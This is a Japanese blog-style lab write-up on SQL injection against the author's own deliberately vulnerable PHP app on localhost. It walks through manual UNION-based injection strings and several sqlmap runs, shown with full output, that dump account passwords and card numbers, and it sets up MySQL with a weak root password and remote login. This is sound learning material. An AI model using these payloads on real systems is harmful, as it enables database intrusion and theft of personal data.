何はともあれ、攻撃するためには脆弱なWebアプリが必要となるので、勉強がてらPHPを使ってみた。 Docker化はまだしてないけど、以下の手順で環境をセットアップする。

IntelliJ IDEA上でPHPのセットアップ

qiita.com

MySQLをインストール

$ brew install mysql@5.7

MySQLサーバー起動

$ brew services start mysql@5.7

MySQL初期設定

$ cd /usr/local/Cellar/mysql@5.7/5.7.22/bin/
$ ./mysql_secure_installation

Securing the MySQL server deployment.

Connecting to MySQL using a blank password.

VALIDATE PASSWORD PLUGIN can be used to test passwords
and improve security. It checks the strength of password
and allows the users to set only those passwords which are
secure enough. Would you like to setup VALIDATE PASSWORD plugin?

Press y|Y for Yes, any other key for No: y

There are three levels of password validation policy:

LOW    Length >= 8
MEDIUM Length >= 8, numeric, mixed case, and special characters
STRONG Length >= 8, numeric, mixed case, special characters and dictionary                  file

Please enter 0 = LOW, 1 = MEDIUM and 2 = STRONG: 0
Please set the password for root here.

New password: password

Re-enter new password: password

Estimated strength of the password: 50 
Do you wish to continue with the password provided?(Press y|Y for Yes, any other key for No) : y
By default, a MySQL installation has an anonymous user,
allowing anyone to log into MySQL without having to have
a user account created for them. This is intended only for
testing, and to make the installation go a bit smoother.
You should remove them before moving into a production
environment.

Remove anonymous users? (Press y|Y for Yes, any other key for No) : n

 ... skipping.


Normally, root should only be allowed to connect from
'localhost'. This ensures that someone cannot guess at
the root password from the network.

Disallow root login remotely? (Press y|Y for Yes, any other key for No) : n

 ... skipping.
By default, MySQL comes with a database named 'test' that
anyone can access. This is also intended only for testing,
and should be removed before moving into a production
environment.


Remove test database and access to it? (Press y|Y for Yes, any other key for No) : n

 ... skipping.
Reloading the privilege tables will ensure that all changes
made so far will take effect immediately.

Reload privilege tables now? (Press y|Y for Yes, any other key for No) : y
Success.

All done!

接続確認

$ ./mysql -uroot -p
Enter password: password
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 8.0.11 Homebrew

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.01 sec)

脆弱アプリのクローン&実行

github.com

SQLインジェクション

アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法のこと。

SQL インジェクション攻撃は、ウェブアプリケーションの一般的な設計上の欠陥を悪用して行われ、サイバー攻撃の容易かつ効果的な手法であり続けています。 SQL インジェクションは今やハッカーがウェブサイトの侵害に使用する主な攻撃ベクトルであり、組織にとっての深刻なデータベースセキュリティの問題となっています。 シリア電子軍のようなハクティビストのグループは、自動化された SQL インジェクション攻撃ツールを使用してオンライン資産に対する破壊および潜入行為を行い、マルウェアを拡散することで知られています。 SQL インジェクション攻撃 | アカマイ

手動によるSQLインジェクション

脆弱Webアプリを使って、SQLインジェクションによる情報漏洩を実践してみる。 簡素だがアカウントの検索画面を用意してみたので、以下のURLにアクセスする。

http://localhost:8080/sqlinjection/q1.php

f:id:kyonta1022:20180618002943p:plain

登録されたユーザ名・パスワードと一致した場合にアカウント情報を表示している。 今回はゲスト用にguest/guestを用意している。

f:id:kyonta1022:20180618003216p:plain

まずはじめに、アカウント検索画面にSQLインジェクション脆弱性があるかを確認してみる。ここで大事なのは、どのようなSQLが組み立てられるのかをある程度推測してみること。今回はWHERE name = 'xxx' and password = 'yyy'のような SQLが 組み立てられるのではないかと推測。早速、ユーザ名のところに' or 'a' = 'a' #というような形式で、全てのデータが取得できるような文字列を入力してみる。 検索の結果を見ると、入力した文字列がSQLの一部として解釈されているので、脆弱性があることがわかる。

f:id:kyonta1022:20180618233755p:plain

脆弱性があることがわかったので、データベースにはどんなテーブルが存在しているのか取得してみる。 今回の脆弱アプリでは、accountcredit_cardという個人情報を含んでいそうなテーブルが存在している。

' or 'a'='a' UNION SELECT table_name,2 FROM information_schema.tables #

f:id:kyonta1022:20180618004151p:plain

accountテーブルは、検索結果としてほぼ出てしまってるので、credit_cardテーブルのデータを確認するために、どのようなカラムが存在しているかを取得してみる。結果を見てみると、name card_numberというカラムを持っていることがわかる。

' UNION SELECT COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'credit_card' #

f:id:kyonta1022:20180618004550p:plain

持っているカラム名までわかったので、最後にカード番号を取得してくる。 脆弱アプリから情報が漏洩したことがわかる。

' UNION SELECT name, card_number FROM credit_card #

f:id:kyonta1022:20180618004754p:plain

sqlmapによるSQLインジェクション

上の流れで、一個一個手入力でSQLを入力して情報を取得していったが、sqlmapというSQLインジェクション用のツールが存在しているため、 次はsqlmapを使ったSQLインジェクションを実践してみる。sqlmapを使うためには、burpsuiteなどを使いやりとりされているパラメータを予め調べておく必要がある。ここで一つ気をつけたいのは、パラメータにセットする値は適当な値ではなく、検索にヒットする値を設定するべき。

$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" 

実行するとパラメータに脆弱性(POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N])があることがわかる。

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.6#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:49:42

[00:49:42] [INFO] testing connection to the target URL
[00:49:42] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[00:49:42] [INFO] testing if the target URL content is stable
[00:49:43] [INFO] target URL content is stable
[00:49:43] [INFO] testing if POST parameter 'name' is dynamic
[00:49:43] [WARNING] POST parameter 'name' does not appear to be dynamic
[00:49:43] [WARNING] heuristic (basic) test shows that POST parameter 'name' might not be injectable
[00:49:43] [INFO] testing for SQL injection on POST parameter 'name'
[00:49:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:49:43] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[00:49:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:49:43] [INFO] POST parameter 'name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:49:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:49:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:49:50] [INFO] target URL appears to be UNION injectable with 2 columns
[00:49:50] [INFO] POST parameter 'name' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[00:49:52] [INFO] testing if POST parameter 'password' is dynamic
[00:49:52] [WARNING] POST parameter 'password' does not appear to be dynamic
[00:49:52] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[00:49:52] [INFO] testing for SQL injection on POST parameter 'password'
[00:49:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:49:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:49:53] [INFO] POST parameter 'password' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[00:49:53] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 91 HTTP(s) requests:
---
Parameter: password (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby

Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[00:49:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[00:49:58] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 00:49:58

脆弱性があることがわかったので、データベースの一覧を取得する。

$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.2.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:53:51

[00:53:51] [INFO] resuming back-end DBMS 'mysql' 
[00:53:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby

Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[00:53:53] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[00:53:53] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sql_injection
[*] sys

[00:53:53] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 00:53:53

今度はテーブルの一覧を取得してみる。お目当のcredit_cardテーブルはsql_injectionデータベースにあるため、データベースを指定して実行する。 account credit_cardと該当するテーブルが2つあることがわかる。

$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" -D sql_injection --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.6#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:55:39

[00:55:40] [INFO] resuming back-end DBMS 'mysql' 
[00:55:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby

Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[00:55:41] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[00:55:41] [INFO] fetching tables for database: 'sql_injection'
Database: sql_injection
[2 tables]
+-------------+
| account     |
| credit_card |
+-------------+

[00:55:41] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 00:55:41

最後に、これらのテーブルからデータをダンプしてみる。今回はテーブル指定のオプションを抜いているが、-T credit_cardなどで、 テーブル名を指定することも可能。実行すると、先ほどと同じようにデータが漏洩することが確認できた。

$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" -D sql_injection --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:57:03

[00:57:04] [INFO] resuming back-end DBMS 'mysql' 
[00:57:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby

Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[00:57:05] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[00:57:05] [INFO] fetching tables for database: 'sql_injection'
[00:57:05] [INFO] fetching columns for table 'account' in database 'sql_injection'
[00:57:05] [INFO] fetching entries for table 'account' in database 'sql_injection'
Database: sql_injection
Table: account
[2 entries]
+-------+-----------+
| name  | password  |
+-------+-----------+
| admin | admin001# |
| guest | guest     |
+-------+-----------+

[00:57:05] [INFO] table 'sql_injection.account' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/account.csv'

[00:57:05] [INFO] fetching columns for table 'credit_card' in database 'sql_injection'
[00:57:05] [INFO] fetching entries for table 'credit_card' in database 'sql_injection'
Database: sql_injection
Table: credit_card
[1 entry]
+-------+----------------+
| name  | card_number    |
+-------+----------------+
| admin | 1111-2222-3333 |
+-------+----------------+

[00:57:05] [INFO] table 'sql_injection.credit_card' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/credit_card.csv'
[00:57:05] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 00:57:05

sqlmapによるブラインドSQLインジェクション

ブラインドSQLインジェクションという言葉を初めて聞いたので調べてみると、以下のような状況で使えるSQLインジェクションらしい。

ブラインドSQLインジェクション攻撃は、SQLインジェクション攻撃の一種である。ブラインドSQLインジェクション攻撃は、SQLインジェクション脆弱性はあるが、SQLの検索結果が表示されない場合に用いる。ブラインドSQLインジェクション攻撃によってえられる情報は1ビットしかないので、まとまった情報を得るには、何回も攻撃する必要がある「ブラインドSQLインジェクションとは何ですか?」への回答 - 徳丸浩のtumblr


脆弱Webアプリを使って、ブラインドSQLインジェクションによる情報漏洩を実践してみるが、結果としてbooleanを返すだけの画面から情報を取得するためには、テーブル名の一文字目の値は「a-z」のどれか、二文字目の値は「a-z」の・・・・というように、1bitの答えを何回も繰り返して問い合わせることによって、情報を取得する手法のため、sqlmapを使って機械的に実行する。

http://localhost:8080/sqlinjection/q2.php

脆弱アプリで用意した画面では、アカウントの存在確認だけが可能となっている。試しにユーザ名を入力して見ると、存在するユーザと存在しないユーザで表示が切り替わるだけである。

アカウントがある場合: f:id:kyonta1022:20180618010206p:plain

アカウントがない場合: f:id:kyonta1022:20180618010216p:plain

やっぱり画面だけを見ると情報漏洩のさせようがなさそうだが、ブラインドSQLインジェクションを使うと漏洩させることができる。 脆弱性があることは既にわかっている前提で、sqlmapを使ってやってみる(ユーザのホーム配下にある/Users/user.name/.sqlmap/outputを削除しておく) まずはデータベース一覧の取得からやってみると、「yes/no」しか返さないページだったがどのようなデータベースがあるか返ってきている。

$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" --dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:04:01

[01:04:01] [INFO] testing connection to the target URL
[01:04:01] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[01:04:01] [INFO] testing if the target URL content is stable
[01:04:02] [INFO] target URL content is stable
[01:04:02] [INFO] testing if POST parameter 'name' is dynamic
[01:04:02] [WARNING] POST parameter 'name' does not appear to be dynamic
[01:04:02] [WARNING] heuristic (basic) test shows that POST parameter 'name' might not be injectable
[01:04:02] [INFO] testing for SQL injection on POST parameter 'name'
[01:04:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:04:02] [WARNING] reflective value(s) found and filtering out
[01:04:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[01:04:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:04:02] [INFO] POST parameter 'name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[01:04:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:04:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:04:06] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[01:04:08] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB
---
[01:04:09] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[01:04:09] [INFO] fetching database names
[01:04:09] [INFO] used SQL query returns 6 entries
[01:04:09] [INFO] retrieved: information_schema
[01:04:09] [INFO] retrieved: mysql
[01:04:09] [INFO] retrieved: performance_schema
[01:04:09] [INFO] retrieved: sql_injection
[01:04:09] [INFO] retrieved: sql_injection2
[01:04:09] [INFO] retrieved: sys
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sql_injection
[*] sys

[01:04:09] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 01:04:09

テーブル一覧を取得してみる。先程と同じようにaccountcredit_cardテーブルが取得できる。

$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" -D sql_injection --tables
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:05:38

[01:05:38] [INFO] resuming back-end DBMS 'mysql' 
[01:05:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB
---
[01:05:38] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[01:05:38] [INFO] fetching tables for database: 'sql_injection'
[01:05:38] [INFO] used SQL query returns 3 entries
[01:05:38] [INFO] retrieved: account
[01:05:38] [INFO] retrieved: credit_card
[01:05:38] [INFO] retrieved: flag
Database: sql_injection
[2 tables]
+-------------+
| account     |
| credit_card |
+-------------+

[01:05:38] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 01:05:38

最後にデータの取得もしてみると、データの取得も同じようにできてしまった(credit_cardテーブルからの取得値は若干おかしいが、できてはいる)

$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" -D sql_injection --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.6#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:06:37

[01:06:37] [INFO] resuming back-end DBMS 'mysql' 
[01:06:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB
---
[01:06:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[01:06:37] [INFO] fetching tables for database: 'sql_injection'
[01:06:37] [INFO] used SQL query returns 3 entries
[01:06:37] [INFO] resumed: account
[01:06:37] [INFO] resumed: credit_card
[01:06:37] [INFO] resumed: flag
[01:06:37] [INFO] fetching columns for table 'account' in database 'sql_injection'
[01:06:37] [INFO] used SQL query returns 2 entries
[01:06:37] [INFO] retrieved: name
[01:06:37] [INFO] retrieved: varchar(50)
[01:06:37] [INFO] retrieved: password
[01:06:37] [INFO] retrieved: varchar(50)
[01:06:37] [INFO] fetching entries for table 'account' in database 'sql_injection'
[01:06:37] [INFO] used SQL query returns 2 entries
[01:06:37] [INFO] retrieved: admin
[01:06:37] [INFO] retrieved: admin001#
[01:06:37] [INFO] retrieved: guest
[01:06:37] [INFO] retrieved: guest
Database: sql_injection
Table: account
[2 entries]
+-------+-----------+
| name  | password  |
+-------+-----------+
| admin | admin001# |
| guest | guest     |
+-------+-----------+

[01:06:37] [INFO] table 'sql_injection.account' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/account.csv'
[01:06:37] [INFO] fetching columns for table 'credit_card' in database 'sql_injection'
[01:06:37] [INFO] used SQL query returns 2 entries
[01:06:37] [INFO] retrieved: name
[01:06:37] [INFO] retrieved: varchar(50)
[01:06:37] [INFO] retrieved: card_number
[01:06:37] [INFO] retrieved: varchar(50)
[01:06:37] [INFO] fetching entries for table 'credit_card' in database 'sql_injection'
[01:06:37] [INFO] used SQL query returns 1 entries
[01:06:37] [INFO] retrieved: 1111-2222-3333
[01:06:37] [INFO] retrieved: admin
Database: sql_injection
Table: credit_card
[2 entries]
+----------------+----------------+
| name           | card_number    |
+----------------+----------------+
| 1111-2222-3333 | 1111-2222-3333 |
| admin          | admin          |
+----------------+----------------+

[01:06:37] [INFO] table 'sql_injection.credit_card' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/credit_card.csv'
[01:06:37] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 01:06:37